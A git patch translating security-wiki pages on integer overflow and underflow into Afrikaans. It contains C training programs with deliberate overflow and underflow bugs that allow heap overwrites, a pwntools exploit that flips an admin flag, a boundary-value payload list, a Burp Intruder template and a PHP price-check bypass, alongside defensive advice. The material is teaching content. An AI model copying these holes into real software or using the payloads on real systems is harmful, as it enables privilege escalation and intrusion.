From a9bdfea87cb4b451e3a54bc8bb0c9fe6fa2f4874 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 7 Sep 2025 14:59:17 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo --- src/SUMMARY.md | 2 +- .../integer-overflow-and-underflow.md | 368 ++++++++++++++++++ src/binary-exploitation/integer-overflow.md | 115 ------ .../integer-overflow.md | 85 ++-- 4 files changed, 412 insertions(+), 158 deletions(-) create mode 100644 src/binary-exploitation/integer-overflow-and-underflow.md delete mode 100644 src/binary-exploitation/integer-overflow.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9a62d47c5..dab618a10 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -785,7 +785,7 @@ - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) -- [Integer Overflow](binary-exploitation/integer-overflow.md) +- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md) - [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) diff --git a/src/binary-exploitation/integer-overflow-and-underflow.md b/src/binary-exploitation/integer-overflow-and-underflow.md new file mode 100644 index 000000000..1fed8f23d --- /dev/null +++ b/src/binary-exploitation/integer-overflow-and-underflow.md @@ -0,0 +1,368 @@ +# Integer Overflow + +{{#include ../banners/hacktricks-training.md}} + +## Basiese Inligting + +In die kern van 'n **integer overflow** lê die beperkinge wat deur die **grootte** van datatipes in rekenaarprogrammatuur en die **interpretasie** van die data opgelê word. + +Byvoorbeeld, 'n **8-bit unsigned integer** kan waardes van **0 tot 255** voorstel. As jy probeer om die waarde 256 in 'n 8-bit unsigned integer te stoor, sal dit terugrol na 0 weens die beperking van die stoorvermoë. Net so, vir 'n **16-bit unsigned integer**, wat waardes van **0 tot 65,535** kan bevat, sal die toevoeging van 1 by 65,535 die waarde weer na 0 terugrol. + +Verder kan 'n **8-bit signed integer** waardes van **-128 tot 127** voorstel. Dit is omdat een bit gebruik word om die teken (positief of negatief) te verteenwoordig, wat 7 bits oorlaat om die grootte voor te stel. Die mees negatiewe getal word voorgestel as **-128** (binary `10000000`), en die mees positiewe getal is **127** (binary `01111111`). + +Maksimumwaardes vir algemene integer-tipes: +| Tipe | Grootte (bits) | Min Waarde | Maks Waarde | +|----------------|----------------|---------------------|----------------------| +| int8_t | 8 | -128 | 127 | +| uint8_t | 8 | 0 | 255 | +| int16_t | 16 | -32,768 | 32,767 | +| uint16_t | 16 | 0 | 65,535 | +| int32_t | 32 | -2,147,483,648 | 2,147,483,647 | +| uint32_t | 32 | 0 | 4,294,967,295 | +| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 | +| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 | + +A short is ekwivalent aan `int16_t`, 'n int is ekwivalent aan `int32_t`, en 'n long is ekwivalent aan `int64_t` in 64-bit stelsels. + +### Maksimumwaardes + +Vir potensiële **web vulnerabilities** is dit baie interessant om die maksimum ondersteunde waardes te ken: + +{{#tabs}} +{{#tab name="Rust"}} +```rust +fn main() { + +let mut quantity = 2147483647; + +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); + +println!("{}", mul_result); +println!("{}", add_result); +} +``` +{{#endtab}} + +{{#tab name="C"}} +```c +#include +#include + +int main() { +int a = INT_MAX; +int b = 0; +int c = 0; + +b = a * 100; +c = a + 1; + +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; +} +``` +{{#endtab}} +{{#endtabs}} + +## Examples + +### Pure overflow + +Die afgedrukte resultaat sal 0 wees aangesien ons die char overflowed: +```c +#include + +int main() { +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; +} +``` +### Signed to Unsigned Conversion + +Oorweeg 'n situasie waar 'n signed integer vanaf gebruikersinvoer gelees word en dan in 'n konteks gebruik word wat dit as 'n unsigned integer hanteer, sonder behoorlike validering: +```c +#include + +int main() { +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); + +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; + +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} + +return 0; +} +``` +In hierdie voorbeeld, as 'n gebruiker 'n negatiewe getal invoer, sal dit as 'n groot unsigned integer geïnterpreteer word weens die manier waarop binary waardes geïnterpreteer word, wat moontlik tot onverwagte gedrag kan lei. + +### macOS oorloopvoorbeeld +```c +#include +#include +#include +#include +#include + +/* +* Realistic integer-overflow → undersized allocation → heap overflow → flag +* Works on macOS arm64 (no ret2win required; avoids PAC/CFI). +*/ + +__attribute__((noinline)) +void win(void) { +puts("🎉 EXPLOITATION SUCCESSFUL 🎉"); +puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}"); +exit(0); +} + +struct session { +int is_admin; // Target to flip from 0 → 1 +char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { +// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY) +const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine) +size_t got = 0; + +printf("Requested bytes: %zu\n", want); + +while (got < want) { +size_t remain = want - got; +size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; + +ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); +if (n > 0) { +got += (size_t)n; +continue; +} +if (n == 0) { +// EOF – stop; partial reads are fine for our exploit +break; +} +// n < 0: real error (likely EINVAL when chunk too big on some FDs) +perror("read"); +break; +} +return got; +} + + +int main(void) { +setvbuf(stdout, NULL, _IONBF, 0); +puts("=== Bundle Importer (training) ==="); + +// 1) Read attacker-controlled parameters (use large values) +size_t count = 0, elem_size = 0; +printf("Entry count: "); +if (scanf("%zu", &count) != 1) return 1; +printf("Entry size: "); +if (scanf("%zu", &elem_size) != 1) return 1; + +// 2) Compute total bytes with a 32-bit truncation bug (vulnerability) +// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header. +uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit. +/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits +Then, product32 = 0 +*/ +uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32 +printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32); + +// 3) Allocate a single arena and lay out [buffer][slack][session] +// This makes adjacency deterministic (no reliance on system malloc order). +const size_t SLACK = 512; +size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220) +unsigned char *arena = (unsigned char*)malloc(arena_sz); +if (!arena) { perror("malloc"); return 1; } +memset(arena, 0, arena_sz); + +unsigned char *buf = arena; // In this buffer the attacker will copy data +struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48 +sess->is_admin = 0; +strncpy(sess->note, "regular user", sizeof(sess->note)-1); + +printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n", +(void*)arena, (void*)buf, alloc32, (void*)sess, +((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16). + +// 4) Copy uses native size_t product (no truncation) → It generates an overflow +size_t to_copy = count * elem_size; // <-- Large size_t +printf("[dbg] requested copy (size_t) = %zu\n", to_copy); + +puts(">> Send bundle payload on stdin (EOF to finish)..."); +size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1 +printf("[dbg] actually read = %zu bytes\n", got); + +// 5) Privileged action gated by a field next to the overflow target +if (sess->is_admin) { +puts("[dbg] admin privileges detected"); +win(); +} else { +puts("[dbg] normal user"); +} +return 0; +} +``` +Kompileer dit met: +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ +-o int_ovf_heap_priv int_ovf_heap_priv.c +``` +#### Exploit +```python +# exploit.py +from pwn import * + +# Keep logs readable; switch to "debug" if you want full I/O traces +context.log_level = "info" + +EXE = "./int_ovf_heap_priv" + +def main(): +# IMPORTANT: use plain pipes, not PTY +io = process([EXE]) # stdin=PIPE, stdout=PIPE by default + +# 1) Drive the prompts +io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0 +io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48 + +# 2) Wait until it’s actually reading the payload +io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...") + +# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian) +payload = b"A" * 48 + p32(1) + +# 4) Send payload, THEN send EOF via half-close on the pipe +io.send(payload) +io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary + +# 5) Read the rest (should print admin + FLAG) +print(io.recvall(timeout=5).decode(errors="ignore")) + +if __name__ == "__main__": +main() +``` +### macOS Underflow Voorbeeld +```c +#include +#include +#include +#include +#include + +/* +* Integer underflow -> undersized allocation + oversized copy -> heap overwrite +* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin. +*/ + +__attribute__((noinline)) +void win(void) { +puts("🎉 EXPLOITATION SUCCESSFUL 🎉"); +puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}"); +exit(0); +} + +struct session { +int is_admin; // flip 0 -> 1 +char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { +// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY. +const size_t MAX_CHUNK = 1 << 20; // 1 MiB +size_t got = 0; +printf("[dbg] Requested bytes: %zu\n", want); +while (got < want) { +size_t remain = want - got; +size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; +ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); +if (n > 0) { got += (size_t)n; continue; } +if (n == 0) break; // EOF: partial read is fine +perror("read"); break; +} +return got; +} + +int main(void) { +setvbuf(stdout, NULL, _IONBF, 0); +puts("=== Packet Importer (UNDERFLOW training) ==="); + +size_t total_len = 0; +printf("Total packet length: "); +if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8" + +const size_t HEADER = 16; + +// **BUG**: size_t underflow if total_len < HEADER +size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned +// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number) +printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n", +total_len, HEADER, payload_len); + +// Build a deterministic arena: [buf of total_len][16 gap][session][slack] +const size_t SLACK = 256; +size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160) +unsigned char *arena = (unsigned char*)malloc(arena_sz); +if (!arena) { perror("malloc"); return 1; } +memset(arena, 0, arena_sz); + +unsigned char *buf = arena; +struct session *sess = (struct session*)(arena + total_len + 16); +// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18) +sess->is_admin = 0; +strncpy(sess->note, "regular user", sizeof(sess->note)-1); + +printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n", +(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16); + +puts(">> Send payload bytes (EOF to finish)..."); +size_t got = read_stdin(buf, payload_len); +// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1 +printf("[dbg] actually read = %zu bytes\n", got); + +if (sess->is_admin) { +puts("[dbg] admin privileges detected"); +win(); +} else { +puts("[dbg] normal user"); +} +return 0; +} +``` +Kompileer dit met: +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ +-o int_underflow_heap int_underflow_heap.c +``` +### Ander Voorbeelde + +- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html +- Slegs 1B word gebruik om die grootte van die password te stoor, so dit is moontlik om dit te overflow en dit te laat dink dit het 'n lengte van 4 terwyl dit eintlik 260 is om die length check protection te bypass +- https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html + +- Gegee 'n paar getalle, vind met behulp van z3 'n nuwe getal wat, vermenigvuldig met die eerste, die tweede sal gee: + +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` + +- https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/ +- Slegs 1B word gebruik om die grootte van die password te stoor, so dit is moontlik om dit te overflow en dit te laat dink dit het 'n lengte van 4 terwyl dit eintlik 260 is om die length check protection te bypass en op die stack die volgende local variable te overwrite en beide protections te bypass + +## ARM64 + +Dit **verander nie in ARM64** soos jy kan sien in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md deleted file mode 100644 index f660a7a06..000000000 --- a/src/binary-exploitation/integer-overflow.md +++ /dev/null @@ -1,115 +0,0 @@ -# Heelgetal Oorloop - -{{#include ../banners/hacktricks-training.md}} - -## Basiese Inligting - -In die hart van 'n **heelgetal oorloop** is die beperking wat opgelê word deur die **grootte** van datatipes in rekenaarprogrammering en die **interpretasie** van die data. - -Byvoorbeeld, 'n **8-bis ongetekende heelgetal** kan waardes van **0 tot 255** voorstel. As jy probeer om die waarde 256 in 'n 8-bis ongetekende heelgetal te stoor, draai dit terug na 0 weens die beperking van sy stoor kapasiteit. Op soortgelyke wyse, vir 'n **16-bis ongetekende heelgetal**, wat waardes van **0 tot 65,535** kan hou, sal die toevoeging van 1 aan 65,535 die waarde terugdraai na 0. - -Boonop kan 'n **8-bis getekende heelgetal** waardes van **-128 tot 127** voorstel. Dit is omdat een bit gebruik word om die teken (positief of negatief) voor te stel, wat 7 bits laat om die grootte voor te stel. Die mees negatiewe getal word voorgestel as **-128** (binêr `10000000`), en die mees positiewe getal is **127** (binêr `01111111`). - -### Maks waardes - -Vir potensiële **web kwesbaarhede** is dit baie interessant om die maksimum ondersteunde waardes te ken: - -{{#tabs}} -{{#tab name="Rust"}} -```rust -fn main() { - -let mut quantity = 2147483647; - -let (mul_result, _) = i32::overflowing_mul(32767, quantity); -let (add_result, _) = i32::overflowing_add(1, quantity); - -println!("{}", mul_result); -println!("{}", add_result); -} -``` -{{#endtab}} - -{{#tab name="C"}} -```c -#include -#include - -int main() { -int a = INT_MAX; -int b = 0; -int c = 0; - -b = a * 100; -c = a + 1; - -printf("%d\n", INT_MAX); -printf("%d\n", b); -printf("%d\n", c); -return 0; -} -``` -{{#endtab}} -{{#endtabs}} - -## Voorbeelde - -### Eenvoudige oorgang - -Die gedrukte resultaat sal 0 wees aangesien ons die char oorgeloop het: -```c -#include - -int main() { -unsigned char max = 255; // 8-bit unsigned integer -unsigned char result = max + 1; -printf("Result: %d\n", result); // Expected to overflow -return 0; -} -``` -### Getekende na Ongetekende Omskakeling - -Overweeg 'n situasie waar 'n getekende heelgetal van gebruikersinvoer gelees word en dan in 'n konteks gebruik word wat dit as 'n ongetekende heelgetal behandel, sonder behoorlike validering: -```c -#include - -int main() { -int userInput; // Signed integer -printf("Enter a number: "); -scanf("%d", &userInput); - -// Treating the signed input as unsigned without validation -unsigned int processedInput = (unsigned int)userInput; - -// A condition that might not work as intended if userInput is negative -if (processedInput > 1000) { -printf("Processed Input is large: %u\n", processedInput); -} else { -printf("Processed Input is within range: %u\n", processedInput); -} - -return 0; -} -``` -In hierdie voorbeeld, as 'n gebruiker 'n negatiewe getal invoer, sal dit geïnterpreteer word as 'n groot ongetekende heelgetal weens die manier waarop binêre waardes geïnterpreteer word, wat moontlik tot onverwagte gedrag kan lei. - -### Ander Voorbeelde - -- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) -- Slegs 1B word gebruik om die grootte van die wagwoord te stoor, so dit is moontlik om dit oor te loop en dit te laat dink dit is 'n lengte van 4 terwyl dit eintlik 260 is om die lengtekontrole beskerming te omseil. -- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - -- Gegee 'n paar getalle, vind 'n nuwe getal wat, wanneer dit met die eerste een vermenigvuldig word, die tweede een sal gee, met behulp van z3: - -``` -(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) -``` - -- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) -- Slegs 1B word gebruik om die grootte van die wagwoord te stoor, so dit is moontlik om dit oor te loop en dit te laat dink dit is 'n lengte van 4 terwyl dit eintlik 260 is om die lengtekontrole beskerming te omseil en die volgende plaaslike veranderlike in die stapel te oorskry en albei beskermings te omseil. - -## ARM64 - -Dit **verander nie in ARM64** nie, soos jy kan sien in [**hierdie blogpos**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md index 47bfee090..74bc27b27 100644 --- a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md +++ b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md @@ -1,46 +1,45 @@ -# Heelgetal Oorloop (Web Toepassings) +# Integer Overflow (Web Applications) {{#include ../../banners/hacktricks-training.md}} -> Hierdie bladsy fokus op hoe **heelgetal oorloope/afsnitte in webtoepassings en blaaiers misbruik kan word**. Vir eksploitasiemiddels binne inheemse binaire lêers kan jy voortgaan om die toegewyde bladsy te lees: +> Hierdie bladsy fokus op hoe **integer overflows/truncations can be abused in web applications and browsers**. Vir exploitation primitives binne native binaries kan jy voortgaan om die toegewyde bladsy te lees: > > {{#ref}} > ../../binary-exploitation/integer-overflow-and-underflow.md -> -{{#endref}} +> {{#endref}} --- -## 1. Hoekom heelgetal wiskunde steeds belangrik is op die web +## 1. Why integer math still matters on the web -Alhoewel die meeste besigheidslogika in moderne stakke geskryf is in *geheue-veilige* tale, is die onderliggende runtime (of derdeparty biblioteke) uiteindelik in C/C++ geïmplementeer. Wanneer gebruikersbeheerde getalle gebruik word om buffers toe te ken, offsets te bereken, of lengte kontroles uit te voer, **kan 'n 32-bis of 64-bis oorgang 'n blykbaar onskadelike parameter in 'n buite-grense lees/skryf, 'n logiese omseiling of 'n DoS verander**. +Alhoewel die meeste business-logic in moderne stacks in *memory-safe* tale geskryf is, is die onderliggende runtime (of derdeparty-biblioteke) uiteindelik in C/C++ geïmplementeer. Wanneer gebruiker-gekontroleerde getalle gebruik word om buffers toe te ken, offsets te bereken of lengtekontroles uit te voer, kan **'n 32-bit of 64-bit wrap-around 'n skynbaar onskadelike parameter omskakel in 'n out-of-bounds lees/skryf, 'n logika-omseiling of 'n DoS**. -Tipiese aanval oppervlak: +Tipiese aanvalsoppervlakte: -1. **Numeriese aanvraagparameters** – klassieke id, offset, of telling velde. -2. **Lengte / grootte koptekste** – Content-Length, WebSocket raam lengte, HTTP/2 voortsetting_len, ens. -3. **Lêer-formaat metadata wat server-kant of kliënt-kant geparseer word** – beeld dimensies, stuk groottes, lettertipe tabelle. -4. **Taalvlak omskakelings** – geskrewe↔ongeskrewe omskakelings in PHP/Go/Rust FFI, JS Nommer → int32 afsnitte binne V8. -5. **Outentisering & besigheidslogika** – koepon waarde, prys, of balans berekeninge wat stilweg oorloop. +1. **Numeric request parameters** – klassieke id-, offset- of count-velde. +2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len, ens. +3. **File-format metadata parsed server-side or client-side** – beeldafmetings, chunk-groottes, lettertipe-tabelle. +4. **Language-level conversions** – signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8. +5. **Authentication & business logic** – couponwaarde, prys- of balansberekeninge wat stilweg oorloop. --- -## 2. Onlangs werklike kwesbaarhede (2023-2025) +## 2. Recent real-world vulnerabilities (2023-2025) -| Jaar | Komponent | Wortel oorsaak | Impak | +| Year | Component | Root cause | Impact | |------|-----------|-----------|--------| -| 2023 | **libwebp – CVE-2023-4863** | 32-bis vermenigvuldiging oorloop wanneer die ontlede pixel grootte bereken word | Het 'n Chrome 0-dag (BLASTPASS op iOS) geaktiveer, het *afgeleë kode uitvoering* binne die renderer sandbox toegelaat. | -| 2024 | **V8 – CVE-2024-0519** | Afsny na 32-bis wanneer 'n JSArray vergroot, lei tot OOB skryf op die agtergrond stoor | Afgeleë kode uitvoering na 'n enkele besoek. | -| 2025 | **Apollo GraphQL Server** (nie vrygestel nie) | 32-bis geskrewe heelgetal gebruik vir eerste/laaste paginering args; negatiewe waardes draai na enorme positiewe | Logiese omseiling & geheue uitputting (DoS). | +| 2023 | **libwebp – CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Het 'n Chrome 0-day (BLASTPASS on iOS) veroorsaak, het *remote code execution* binne die renderer-sandbox toegelaat. | +| 2024 | **V8 – CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | *Remote code execution* na 'n enkele besoek. | +| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logika-omseiling & geheue-uitsakking (DoS). | --- -## 3. Toetsstrategie +## 3. Testing strategy -### 3.1 Grenswaarde spiekbrief +### 3.1 Boundary-value cheat-sheet -Stuur **ekstreme geskrewe/ongeskrewe waardes** waar 'n heelgetal verwag word: +Send **extreme signed/unsigned values** wherever an integer is expected: ``` -1, 0, 1, 127, 128, 255, 256, @@ -50,27 +49,27 @@ Stuur **ekstreme geskrewe/ongeskrewe waardes** waar 'n heelgetal verwag word: 0x7fffffff, 0x80000000, 0xffffffff ``` Ander nuttige formate: -* Hex (0x100), oktale (0377), wetenskaplike (1e10), JSON big-int (9999999999999999999). -* Baie lang syfer stringe (>1kB) om pasgemaakte parsers te tref. +* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999). +* Baie lang syferreekse (>1kB) om custom parsers te tref. -### 3.2 Burp Intruder sjabloon +### 3.2 Burp Intruder-sjabloon ``` §INTEGER§ Payload type: Numbers From: -10 To: 4294967300 Step: 1 Pad to length: 10, Enable hex prefix 0x ``` -### 3.3 Fuzzing biblioteke & runtimes +### 3.3 Fuzzing libraries & runtimes -* **AFL++/Honggfuzz** met libFuzzer harnas rondom die parser (bv., WebP, PNG, protobuf). -* **Fuzzilli** – grammatika-bewuste fuzzing van JavaScript enjin om V8/JSC heelgetal truncasies te tref. -* **boofuzz** – netwerk-protokol fuzzing (WebSocket, HTTP/2) wat op lengte velde fokus. +* **AFL++/Honggfuzz** met 'n libFuzzer-harnas rondom die parser (bv. WebP, PNG, protobuf). +* **Fuzzilli** – grammatika-bewuste fuzzing van JavaScript-enjins om V8/JSC heelgetal-afkappinge te tref. +* **boofuzz** – netwerk-protokol fuzzing (WebSocket, HTTP/2) wat fokus op lengtevelde. --- -## 4. Exploitasiemetodes +## 4. Eksploitasiepatrone -### 4.1 Logika omseiling in bediener-kant kode (PHP voorbeeld) +### 4.1 Logika-omseiling in bedienerkant-kode (PHP-voorbeeld) ```php $price = (int)$_POST['price']; // expecting cents (0-10000) $total = $price * 100; // ← 32-bit overflow possible @@ -79,27 +78,29 @@ die('Too expensive'); } /* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */ ``` -### 4.2 Heap oorgeloop via beeld dekodeerder (libwebp 0-dag) -Die WebP verlieslose dekodeerder het beeld breedte × hoogte × 4 (RGBA) binne 'n 32-bis int vermenigvuldig. 'n Gemaakte lêer met afmetings 16384 × 16384 oorgeloop die vermenigvuldiging, allokeer 'n kort buffer en skryf vervolgens **~1GB** van gedecomprimeerde data verby die heap – wat lei tot RCE in elke Chromium-gebaseerde blaaiert voor 116.0.5845.187. +### 4.2 Heap overflow via image decoder (libwebp 0-day) +Die WebP lossless decoder het image width × height × 4 (RGBA) binne 'n 32-bit int vermenigvuldig. 'n Gemaakte lêer met dimensies 16384 × 16384 oorloop die vermenigvuldiging, ken 'n te klein buffer toe en skryf vervolgens **~1GB** gedekomprimeerde data verby die heap – wat lei tot RCE in elke Chromium-based browser voor 116.0.5845.187. -### 4.3 Blaaier-gebaseerde XSS/RCE ketting -1. **Integer oorgeloop** in V8 gee arbitrêre lees/skryf. -2. Ontsnap die sandbox met 'n tweede fout of bel native APIs om 'n payload te laat val. -3. Die payload spuit dan 'n kwaadwillige skrip in die oorsprong konteks → gestoor XSS. +### 4.3 Blaaier-gebaseerde XSS/RCE-ketting +1. **Integer overflow** in V8 gee arbitrêre read/write. +2. Ontsnap uit die sandbox met 'n tweede bug of roep native APIs aan om 'n payload te plaas. +3. Die payload injecteer dan 'n kwaadwillige script in die origin context → stored XSS. --- -## 5. Verdedigende riglyne +## 5. Verdedigingsriglyne -1. **Gebruik wye tipes of nagekeken wiskunde** – bv., size_t, Rust checked_add, Go math/bits.Add64. -2. **Valideer reekse vroeg**: verwerp enige waarde buite die besigheidsdomein voor aritmetika. -3. **Aktiveer kompilator sanitizers**: -fsanitize=integer, UBSan, Go race detector. -4. **Neem fuzzing in CI/CD aan** – kombineer dekking terugvoer met grens korpora. -5. **Bly gepatch** – blaaiers integer oorgeloop foute word dikwels binne weke gewapen. +1. **Use wide types or checked math** – bv., size_t, Rust checked_add, Go math/bits.Add64. +2. **Validate ranges early**: verwerp enige waarde buite die besigheidsdomein voor aritmetika. +3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector. +4. **Adopt fuzzing in CI/CD** – kombineer coverage feedback met boundary corpora. +5. **Stay patched** – browser integer overflow bugs word dikwels binne weke weaponised. --- -## Verwysings + + +## References * [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) * [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)